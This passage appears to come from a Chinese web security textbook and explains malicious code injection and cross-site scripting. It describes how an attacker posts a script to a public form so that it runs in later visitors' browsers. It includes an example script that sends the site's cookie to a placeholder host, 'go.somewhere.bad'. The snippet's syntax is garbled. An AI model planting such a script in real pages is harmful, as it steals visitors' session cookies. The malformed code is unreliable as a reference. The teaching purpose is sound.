16.2.4 恶意代码注入
互联网中,一种非常常见的有效攻击类型就是我们所说的恶意代码注入。这种攻击最著名的方式是站点间脚本(Cross Site Scripting),也就是XSS,这样可以与CSS(级联样式表单)相区分。这种供给带来的常见问题就是它们并不会带来立即的数据丢失,但是由于执行了某些代码,这将导致不同程度的信息丢失或者在用户不知情的情况下,错误引导用户操作。
基本上,XSS的工作流程如下所示:
1)恶意用户,在一些公共区域(例如,建议提交表单或消息公告板的输入表单)输入一些文本,这些文本将被其他用户看到,但这些文本不仅仅是他们要输入的文本,同时还包含了一些可以在客户端执行的脚本,如下所示:
<script>="text/javascript">
this.document="go.somewhere.bad?cookie="+this.cookie;
</script>="text/javascript">
2)恶意用户提交这个表单并等待。
3)系统的下一个用户看到了这个包含了恶意用户输入文本的页面,其中的脚本将在这个用户的客户端执行。在以上代码中,这个用户将被重定向,而最初站点的任何cookie信息将被随同发送。
尽管这只是一个试验性的例子,但是客户端脚本是功能非常强大的语言,而它真正能够执行的攻击也是令人生畏。